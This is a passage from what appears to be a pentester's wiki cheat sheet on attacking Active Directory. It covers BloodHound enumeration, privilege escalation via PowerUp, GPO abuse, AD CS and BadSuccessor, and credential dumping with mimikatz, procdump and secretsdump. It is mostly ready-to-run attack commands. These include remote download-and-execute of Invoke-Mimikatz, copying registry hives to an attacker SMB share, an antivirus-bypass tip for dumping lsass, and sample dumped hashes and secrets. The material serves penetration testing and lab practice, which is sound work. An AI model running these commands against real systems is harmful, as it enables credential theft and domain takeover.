https://localhost:7474/
# Download the latest version of the BloodHound GUI from https://github.com/BloodHoundAD/BloodHound/releases
./BloodHound.bin --no-sandbox
</syntaxhighlight>

<syntaxhighlight lang="bash">
# INGESTOR
# Windows
# For PC joined to domain
./SharpHound.exe --CollectionMethods All
Invoke-BloodHound -CollectionMethod All
# Domain enum from domain joind creds
SharpHound.exe --collectionmethods All -d contoso.local
# Execute SharpHound using different creds
runas /netonly /user:domain\user "powershell.exe -exec bypass"
------------------------------------------------------------------------
# Python
# Need valid creds
https://github.com/fox-it/BloodHound.py
python3 bloodhound.py -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all -dc dc01.blackfield.local
python3 bloodhound.py -c All -d -u -p '' -ns -dc
# Through proxychains
proxychains bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all --dns-tcp
----------------------------------------------------------------------
https://www.netexec.wiki/ldap-protocol/bloodhound-ingestor
nxc ldap -u user -p pass --bloodhound -ns --collection All
</syntaxhighlight>

=== Add Custom Queries to BloodHound ===

<syntaxhighlight lang="bash">
https://github.com/CompassSecurity/BloodHoundQueries/tree/master/BloodHound_Custom_Queries
# After adding the custome queries, they will show up under Analysis --> Custom Queries.
# On Linux, you can simply install the queries using this curl command:
curl -o ~/.config/bloodhound/customqueries.json "https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json"
# On Windows, you can simply install the queries using this PowerShell command:
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json" -OutFile "$env:USERPROFILE\AppData\Roaming\bloodhound\customqueries.json"
</syntaxhighlight>

== Bloodhound Community Edition ==

[https://specterops.io/blog/2023/08/08/bloodhound-community-edition-a-new-era/ BloodHound Community Edition: A New Era - SpecterOps]

For years, BloodHound was built on a simple architecture: a Neo4J database and a single-page web app running in Electron. While simple, this architecture was also a significant limiting factor in improving the application. We chose to invest in a completely new architecture for BHE and today, we’re bringing much of that architecture to BloodHound CE.

BloodHound CE now has a robust architecture comprised of several front-end and back-end components, including:

* Postgres and Neo4J databases

* A new REST API

* A brand new front-end web application

To enhance the user experience and facilitate seamless deployments, all of these components are now presented in a fully containerized model. Say goodbye to concerns about Java and Neo4J versions, as running BloodHound CE has never been simpler:

Step 1: Install [https://www.docker.com/products/docker-desktop/ Docker] and download [https://github.com/SpecterOps/bloodhound/tree/main/examples/docker-compose/docker-compose.yml our example Docker compose file].

Step 2: Open a terminal to the directory you downloaded the file to and run docker compose up

Step 3: The initial password will display in your terminal. In a browser, navigate to http://localhost:8080/ui/login. Log in with username “admin” and the randomly generated password.

<syntaxhighlight lang="bash">
https://support.bloodhoundenterprise.io/hc/en-us/articles/17468450058267
# Prerequisites
# Running the example Docker Compose project requires the following:
# A Docker-compatible container runtime. Either Docker or Podman (with Docker compatibility enabled) will work great.
# Docker Compose, which is automatically included with Docker Desktop if you choose to go that route.
# The simplest way to get started is to install Docker Desktop, as it will provide both prerequisites and requires no additional configuration.
# # Process
# Optional: One-Line command for Steps 1-3
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml | docker compose -f - up
# Download and store docker-compose.yml in the directory from which you would like to run BloodHound CE.
# Open a terminal interface, and from the directory you selected run docker-compose up
# To run BloodHound CE without the need to maintain the terminal interface, use:
docker-compose up -d
# and then
docker-compose logs
# to see the most recent logs from the environment.
# Docker Compose will download the required container images and initialize them. # The logs will display the randomized default password to log into your new BloodHound CE environment.
# Copy this password and open a web browser to http://localhost:8080.
# Log in with the default username admin and the password from the logs.
# The password cannot be regenerated. If you lost the password, simply
run docker compose down -v
# and then docker compose up to reset your databases.
# You will be required to change the password, thereafter you're logged into BloodHound CE!
# Default Credentials
Admin
Password: See logs and change it.
</syntaxhighlight>

=== Ingestors ===

==== NetExec ====

<syntaxhighlight lang="bash">
nxc ldap targetIP -u user -p password --bloodhound --collectionmethod all
</syntaxhighlight>

==== rusthound-ce ====

[https://github.com/g0h4n/RustHound-CE GitHub - g0h4n/RustHound-CE: Active Directory data ingestor for BloodHound Community Edition written in Rust. 🦀]

<syntaxhighlight lang="bash">
./rusthound-ce --domain domain.local -u 'test' -p 'test' -o . -z --ldaps #specify ldaps if LDAPS is enforced
</syntaxhighlight>

== AzureHound ==

Some orgs dont allow you to authenticate to outside apps, therefor you might need to use Jwt.

See this URL to find Jwt tokens using the browser. [https://www.scip.ch/en/?labs.20240523 Microsoft Cloud Access Tokens - Control the Token, Control the Cloud]. The jwt token have short expiry date.

Then with azurehound do . If you encounter any error, try with Azurehound v2.2.1 (Issue: [https://github.com/SpecterOps/AzureHound/issues/122 Error "failed to create new Azure client: unable to authenticate. no valid credential provided" when authenticating using a JWT in Azurehound later than 2.2.1 · Issue #122 · SpecterOps/AzureHound])

<syntaxhighlight lang="bash">
azurehound.exe -j "eyYadssad..." list -o outputjson.
</syntaxhighlight>

== LDAP with credentials ==

<syntaxhighlight lang="bash">
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
# Look in the LDAP database, with ldapsearch or AdExplorer.exe to look for credentials in fields userPassword & unixUserPassword, or even for Description
# ENUMERATE
# https://devconnected.com/how-to-search-ldap-using-ldapsearch-examples/
ldapsearch -x -b -H -D -W
ldapsearch -x -b "dc=devconnected,dc=com" -H ldap://192.168.178.29
python windapsearch.py -u morph3 -p morph3 -d evil.corp â€“dc-ip 192.168.1.2
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd
</syntaxhighlight>

== Group Managed Service Accounts - gMSA ==

<syntaxhighlight lang="bash">
# If service account exists on target, enumerate gMSA.
# Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential.
# Example
Import-Module ActiveDirectory
Get-ADPrincipalGroupMembership svc_apache$ | select name
# Check if your user is allowed to retrieve managed passwords
Get-ADServiceAccount -Identity 'svc_apache$' -Properties * | Select PrincipalsAllowedToRetrieveManagedPassword
# Repo for reading gMSA passwords
https://github.com/rvazarkar/GMSAPasswordReader
.\GMSAPasswordReader.exe --accountname svc_apache
# Now either try to crack the hash or pass the hash using any of the techniques in this blogpost.
</syntaxhighlight>

== Forest Enumeration ==

'''Understanding Trust:'''

* Trust is a relationship established between two or more AD domains that allows users in one domain to access resources in another.

* '''One-Way Trust''': If Domain A trusts Domain B, users from Domain B can access resources in Domain A, but not vice versa.

* '''Two-Way (Bi-Directional) Trust''': Users from both domains can access resources in the other domain. This means Domain A trusts Domain B and Domain B also trusts Domain A.

* '''Transitivity''': Trust can be transitive. If Domain A trusts Domain B and Domain B trusts Domain C, then Domain A implicitly trusts Domain C.

'''Domain and Enterprise Admins:'''

* '''Domain Admins''': Members of this group have full control over their specific domain. However, their administrative privileges don't extend to other domains in the forest.

* '''Enterprise Admins''': This group is exclusive to the root domain of the forest. Members of the Enterprise Admins group have administrative rights across all domains in the forest. This makes them a prime target for attackers, as compromising an Enterprise Admin account provides extensive control over the entire AD infrastructure.

<syntaxhighlight lang="bash">
# Enumerating Domain Trusts
# Using nltest.exe:
# The /trusted_domains flag can be used to list domains trusted by the current domain.
C:\tools> nltest /trusted_domains
# Using .NET:
# .NET provides a method called GetAllTrustRelationships within the System.DirectoryServices.ActiveDirectory.Domain namespace.
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# Using Win32 API:
# The DsEnumerateDomainTrusts API can be used.
# PowerView, a PowerShell tool, has a method called Get-DomainTrust that can utilize this API.
Get-DomainTrust -API
# Using LDAP:
# PowerView can also be used for this LDAP query. (LDAP, which stands for Lightweight Directory Access Protocol, is like a digital phone book for storing and looking up information about users, computers, and other resources on a network).
Get-DomainTrust
# Enumerate Users, Groups, and Services in Trusted Domains
# Once domain trusts are identified, the next step is to enumerate users, groups, and services in these trusted domains. This can be achieved using:
# .NET DirectorySearcher Class:
# This class can perform LDAP queries and can be initialized with a DirectoryEntry object.
# PowerView's Get-DomainUser method can be used to enumerate users in a trusted domain.
Get-DomainUser -Domain corp1.com
# BloodHound Ingestor (The best one):
# This tool can work with domain trust and allows enumeration across the entire forest.
</syntaxhighlight>

== Snaffler - Enumerate shares for good data ==

[https://github.com/SnaffCon/Snaffler GitHub - SnaffCon/Snaffler: a tool for pentesters to help find delicious candy, by @l0ss and @Sh3r4 ( Twitter: @/mikeloss and @/sh3r4_hax )]

Snaffler is a tool for '''pentesters''' and '''red teamers''' to help find delicious candy needles (creds mostly, but it's flexible) in a bunch of horrible boring haystacks (a massive Windows/AD environment).

<syntaxhighlight lang="bash">
snaffler.exe -o snaffler.log -s -y -d domain.com -c dc-ip
</syntaxhighlight>

Afte running the above command, parse the output to SnafflerParser.ps1 for a more readable output. [https://github.com/zh54321/SnafflerParser GitHub - zh54321/SnafflerParser: Parses Snaffler output file and generate beautified outputs.]

<syntaxhighlight lang="bash">
.\SnafflerParser.ps1 -in snaffler.log
</syntaxhighlight>

== ADExplorer.exe ==

[https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer AD Explorer - Sysinternals | Microsoft Learn]

Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute.

[[File:2022-06-image.png|thumb]]

Can also use the snapshot from ADExplorer with BloodHound.

[https://github.com/c3c/ADExplorerSnapshot.py c3c/ADExplorerSnapshot.py: ADExplorerSnapshot.py is an AD Explorer snapshot parser. It is made as an ingestor for BloodHound, and also supports full-object dumping to NDJSON.]

----

= Local Privilege Escalation =

If you have valid credentials, try to escalate to local administrator in order to be able to dump password hashed.

== Checklist and tools to check for PrivEsc ==

<syntaxhighlight lang="bash">
# Checklist for local windows privilege escalation
https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
# Notes
https://blog.aghanim.net/?p=1314
# Use WinPEASS
kali> peass
# Use WinPEASS using meterpreter
# https://github.com/carlospolop/PEASS-ng/tree/master/metasploit
modules/post/multi/gather/
# PowerView.ps1
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
Import-Module powerview.ps1
# PowerUp.ps1
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/powerup
. .\powerup.ps1
Invoke-AllChecks
# seatbelt
# https://github.com/GhostPack/Seatbelt
# Run all checks
Seatbelt.exe -group=all -full
# JAWS
# https://github.com/411Hall/JAWS
# Run from within CMD shell and write out to screen.
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1
# HostRecon.ps1
# https://github.com/dafthack/HostRecon
# This command will run a number of checks on the local system including the retrieval of local system information (netstat, common security products, scheduled tasks, local admins group, LAPS, etc), and domain information (Domain Admins group, DC's, password policy). Additionally, it will perform an outbound portscan on the top 128 ports to allports.exposed to assist in determining any ports that might be allowed outbound for C2 communications.
Invoke-HostRecon -Portscan -TopPorts 128
</syntaxhighlight>

== Abusing GPO Permission ==

<syntaxhighlight lang="bash">
# See PG Vault writeup
# If you have write permission to a GPO, try using SharpGPOAbuse
# https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# Precompiled exe is located here https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.0_x64
# See github for more commands
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
</syntaxhighlight>

== PowerUp ==

<syntaxhighlight lang="bash">
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#powerup
https://powersploit.readthedocs.io/en/latest/
# Check for vulnerable programs and configs
Invoke-AllChecks
----------------
# Default vulnerable service abuse
# Abuses service 'VulnSVC' to add a localuser "john" with password "Password123! to the machine and local administrator group
Invoke-ServiceAbuse -Name VulnSVC

# Exploit vulnerable service permissions (does not require touching disk)
Invoke-ServiceAbuse -Name "VulnerableSvc" -Command "net localgroup Administrators DOMAIN\user /add"
# Exploit an unquoted service path vulnerability to spawn a beacon
Write-ServiceBinary -Name 'VulnerableSvc' -Command 'c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update' -Path 'C:\Program Files\VulnerableSvc'
# Restart the service to exploit (not always required)
net.exe stop VulnerableSvc
net.exe start VulnerableSvc
-------------
# PortScan
Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
</syntaxhighlight>

----

= Lateral movement with privileged creds/session =

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session]

== AD CS Domain Escalation ==

Active Directory Certificate Services (AD CS) is a Microsoft platform that provides a variety of security functions to protect digital certificates within an organization. However, a problem has been identified whereby some AD CS settings are not properly configured, which can leave the system vulnerable to attackers.

The issue arises when attackers exploit this vulnerability to obtain unauthorized certificates. These certificates can then be used to gain access to areas of the network or impersonate individuals they should not have access to. For instance, an attacker could potentially gain a certificate that enables them to impersonate a network administrator and thereby gain unrestricted access to sensitive data.

If you want an in-depth whitepaper about AD CS, it is very recommended to have read this paper.

[https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf Certified_Pre-Owned.pdf]

Below is a great ADCS Attack Techniques Cheatsheet made by [https://x.com/MacmodSec @MacmodSec]

https://docs.google.com/spreadsheets/d/1YLhkAHVWCVANxlH0VhM4ksylmg1rk5fV0NZu6yhIFT4/edit?usp=sharing

[https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx ADCS Attack Techniques Cheatsheet][https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx Download]

Greate Guide - [https://seriotonctf.github.io/2024/06/26/ADCS-Attacks-with-Certipy/index.html ADCS Attacks with Certipy | serioton]

[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/ Abusing Active Directory Certificate Services - Part One - Black Hills Information Security, Inc.]
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-2/ Abusing Active Directory Certificate Services – Part 2 - Black Hills Information Security, Inc.]
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-3/ Abusing Active Directory Certificate Services (Part 3) - Black Hills Information Security, Inc.]

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/account-persistence
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft

------------
# List all vulnerable template
certipy find -dc-only -target-ip 10.10.10.10 -u USER -p PASSWORD -target -dc01.domain.com -vulnerable -timeout 120
# If user have enrollment rights on a template it is possible to obtain valid certificate for all valid users and domain admins. The certificate and private key will be safed in a .pfx file.
certipy req -u USER -p PASSWORD -target PKI01.domain.com -target 10.10.10.11 -template template01 -ca "domain-issuing-CA" -upn "domainadmin01"
# Retriev NTLM hash for domain admin
certipy auth -pfx domainadmin01.pfx -domain domain.com
# Now, pass the hash using desired tool.
crackmapexec smb 10.10.10.12 -u domainadmin01 -H ntlm_hash
----------------
See the below writeup for HTB Manager.
</syntaxhighlight>

[https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium][https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Download]

== Change Password of user ==

If you have a user that have "ForcePasswordChange" rights on another user you can change the password of that user.

<syntaxhighlight lang="bash">
# Powershell
$creds = New-Object System.Management.Automation.PSCredential ("DOMAIN\user1", (ConvertTo-SecureString "HelloPass123!" -AsPlainText -Force))
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity User2 -AccountPassword $UserPassword -Credential $creds -Verbose
# Remote
net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
</syntaxhighlight>

== Change Password of a User in another domain ==

If you have ForcePasswordChange on a user in another domain you can use the command below to change the password.

<syntaxhighlight lang="bash">
$UserPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
Set-DomainUserPassword -Identity "user.1" -domain internal.domain.com -AccountPassword $UserPassword
</syntaxhighlight>

== BadSuccessor ==

[https://github.com/ibaiC/BadSuccessor GitHub - ibaiC/BadSuccessor: A PoC for the dMSA Active Directory Domain Takeover deemed BadSuccessor]

BadSuccessor exploits misconfigured Delegated Managed Service Account (dMSA) permissions in Windows Active Directory to escalate privileges. The tool creates malicious dMSAs that inherit the privileges of high-value service accounts, enabling lateral movement and privilege escalation in modern AD environments.

[https://kreep.in/badsuccessor-abusing-dmsas-for-ad-domination/ BadSuccessor: Abusing dMSAs for AD Domination]

<syntaxhighlight lang="bash">
Usage:
# Enumerate and list all Organizational Units you have write access to.
BadSuccessor find
# Create the malicious dMSA in the target OU
BadSuccessor escalate -targetOU -dmsa -targetUser [-dc-ip ] -dnshostname (-machine | -user )
# Cleanup malicious dMSA
BadSuccessor.exe del dMSAAccountName "OU=ServiceAccounts,DC=example,DC=com"
Examples:
BadSuccessor find
BadSuccessor escalate \
-targetOU "OU=Keep,DC=essos,DC=local" \
-dmsa kreep_dmsa \
-targetUser "CN=Administrator,CN=Users,DC=essos,DC=local" \
-dnshostname kreep_dmsa \
-machine braavos$ \
-dc-ip 192.168.10.15
BadSuccessor escalate \
-targetOU "OU=Keep,DC=essos,DC=local" \
-dmsa kreep_dmsa \
-targetUser "CN=Administrator,CN=Users,DC=essos,DC=local" \
-dnshostname kreep_dmsa \
-user john.doe \
-dc-ip 192.168.10.15
Parameters:
-targetOU DN of the OU container (e.g. OU=TestOU,DC=domain,DC=com)
-dmsa Name for the new dMSA (sAMAccountName without '$')
-targetUser Full DN of the existing service account (e.g. CN=SvcUser,CN=Users,DC=domain,DC=com)
-dnshostname dNSHostName to give to the new dMSA for Kerberos authentication
-machine Machine account for msDS-GroupMSAMembership. Include the $, e.g: braavos$
-user User account for msDS-GroupMSAMembership (sAMAccountName without domain)
-dc-ip (Optional) FQDN or IP of the DC to bind against for schema-aware writes
Note: You must specify either -machine OR -user, but not both.
</syntaxhighlight>

== Crack TGT - hashcat or John ==

<syntaxhighlight lang="bash">
# hashcat
# Check https://hashcat.net/wiki/doku.php?id=example_hashes for correct mode for TGT.
hashcat -a 0 -m 19500 tgt.hash rockyou.txt
# John the ripper
# Convert Kirbi to john format https://www.kali.org/tools/john/#kirbi2john
kirbi2john
# Convert ccache to john format
https://www.kali.org/tools/john/#ccache2john
</syntaxhighlight>

== Hash extraction (Dump hashes) ==

Dump all the hashes in memory and locally.

If mimikatz.exe dont work on reverse shell, try generating a msfvenom with -f psh-cmd and try again. Mimikatz should work now. It does not work with nishang invoke-powershelltcp for some reason.

<syntaxhighlight lang="bash">
# Credentials Mimikatz
# Elevate Privileges to extract the credentials
privilege::debug # This should give an error if you are Admin, but if it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"

# Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"'

# Meterpreter
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

# Bypass Anti-Virus
# Procdump from SysInternals is a legitimate Microsoft tool, and is not detected by Defender. Use this tool to dump lsass process, download the dump and extract creds locally from the dump
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Extract creds from dump
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
# Automatically done with SprayKatz https://github.com/aas-n/spraykatz.
./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

# Dumping lsass with comsvcs.dll
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full

# Dumping lsass with Task Manager
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-task-manager

# Dumping lsass with procdump
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
------------------------------------------------------------------------

# CrackMapExec
# Dump SAM hashes
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
# Dump LSA secrets
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
# Dump the NTDS.dit from target DC
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
# Dump the NTDS.dit password history from target DC
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
# Show the pwdLastSet attribute for each NTDS.dit account
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
------------------------------------------------------------------------

# Stealing SAM & SYSTEM
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#stealing-sam-and-system
# This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.
# From registry
# Easiest method
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
# Download to attacker
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

# Backup Operator - If a user is a member of Backup Operator
# Backup Operators can override security restrictions for the sole purpose of backing up or restoring files
https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets
# 1 - First start smb share
impacket-smbserver share . -smb2support
2 - Then run the command
reg.py User:Password@192.168.210.16 backup -o \\10.10.14.14\share 2 ⨯
Impacket v0.11.0 - Copyright 2023 Fortra
[!] Cannot check RemoteRegistry status. Hoping it is started...
[*] Saved HKLM\SAM to \\10.10.14.14\share\SAM.save
[*] Saved HKLM\SYSTEM to \\10.10.14.14\share\SYSTEM.save
[*] Saved HKLM\SECURITY to \\10.10.14.14\share\SECURITY.save
# 3 - After we got the databases we use secretsdump to extract the info
impacket-secretsdump -sam SAM.save -security SECURITY.save -system SYSTEM.save LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0xb1223a009047a376c120c3630a0f0e48
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5bdd6a33efe43f0dc7e3b2435579aa53:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnt have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:dc66f30d3e8bd48b4bfb9c3f53eb66ebda1edbb7af476a9f7650476edce03326b61fabe212dfd9e6c2e06eaaffcab3c78cfd4f47cd564ef53e8eb5d855f9e998c34c5fabc5e713559e090d6e5dc149a97ed653608d5cd07864d7774f2d766512849d4fafff4030324173ccd8cb8c6a1513a348a337c6d46778e4e37bc2e2c2e369626f1f153bdf391f8c175fdae042537016a2198b8c120c738854c907a1ddddcb88aaa517af97bcee783d1d9a36ddc179f2bb5cc8a336a00863183c96384434bb9a8eee781822f51d2727cd14e3fd0841edfa7004eefa2a8e3327b457f34587642e1e91e79a24590d97b8ad6cb14ee7
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:d47a6d90e1c5adf4200227514e393948
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf108ba9fcd3554a2abb82ff4a8d29f0679aeaae6
dpapi_userkey:0xe57f2322d588ce987f04d6a3b1bf31cfa35d050a
[*] NL$KM
0000 07 E9 F2 3F 08 49 46 07 02 CE 30 4B 65 D3 86 32 ...?.IF...0Ke..2
0010 6F 02 5D 36 7D E8 30 33 F4 71 94 44 98 37 CB 1A o.]6}.03.q.D.7..
0020 05 CC 76 F1 26 E2 94 E7 D3 54 78 1F EF BE E9 13 ..v.&....Tx.....
0030 30 3B 62 CB A5 57 75 E6 78 F3 D4 55 5C 68 20 15 0;b..Wu.x..U\h .
NL$KM:07e9f23f0849460702ce304b65d386326f025d367de83033f47194449837cb1a05cc76f126e294e7d354781fefbee913303b62cba55775e678f3d4555c682015
[*] Cleaning up...

# Extract NTDS using Secretsdump and machine account hash
secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 192.168.210.16 -hashes :d47a6d90e1c5adf4200227514e393909 'TESTDC01$'@192.168.210.16

# Invoke-NinjaCopy
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
# Use PS script to make copy of SAM, SYSTEM and ntds.dit
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
</syntaxhighlight>

== Impackets - All Commands Matrix ==

{| class="wikitable"
|-
! Tool
! Commands
! Explanation
|-
| Remote Execution
|
| Tools for executing commands remotely.
|-
| psexec.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Provides PSEXEC-like functionality using RemComSvc.
|-
| smbexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]
| Executes commands on the target machine without using RemComSvc.
|-
| atexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -command command
| Executes a command on the target machine through the Task Scheduler service and returns the output.
|-
| wmiexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]
| Provides a semi-interactive shell using Windows Management Instrumentation (WMI).
|-
| dcomexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]
| Provides a semi-interactive shell using different DCOM endpoints.
|-
| Kerberos
|
| Tools for working with Kerberos authentication.
|-
| GetTGT.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Requests a TGT and saves it as ccache.
|-
| GetST.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] [-impersonate]
| Requests a Service Ticket and saves it as ccache. Supports impersonation.
|-
| GetPac.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Retrieves the PAC (Privilege Attribute Certificate) structure of the specified target user.
|-
| GetUserSPNs.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Finds and fetches Service Principal Names associated with normal user accounts.
|-
| GetNPUsers.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Lists and gets TGTs for users with 'Do not require Kerberos preauthentication' set.
|-
| rbcd.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Handles the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer.
|-
| ticketConverter.py
| -kirbi kirbiFile -ccache ccacheFile
| Converts kirbi files used by mimikatz into ccache files used by Impacket, and vice versa.
|-
| ticketer.py
| -template templateFile -ccache ccacheFile
| Creates Golden/Silver tickets from scratch or based on a template allowing customization of parameters.
|-
| raiseChild.py
| -user user -password pass -domain domain -dc-ip ip
| Implements child-domain to forest privilege escalation using Golden Tickets and ExtraSids.
|-
| Windows Secrets
|
| Tools for extracting secrets and credentials from Windows systems.
|-
| secretsdump.py
| -ntds ntdsFile -system systemFile -outputfile outputFile -use-vss [-lmhash LMHASH] [-nthash NTHASH]
| Performs various techniques to dump secrets, NTLM hashes, plaintext credentials, and Kerberos keys from a remote machine.
|-
| mimikatz.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Provides a mini shell to control a remote mimikatz RPC server.
|-
| Server Tools/MiTM Attacks
|
| Tools for performing MiTM (Man-in-the-Middle) attacks.
|-
| ntlmrelayx.py
| -t targetFile -tf targetFile -smb2support [-socks]
| Performs NTLM Relay Attacks, relaying credentials to various protocols. Supports predefined attacks and SOCKS mode.
|-
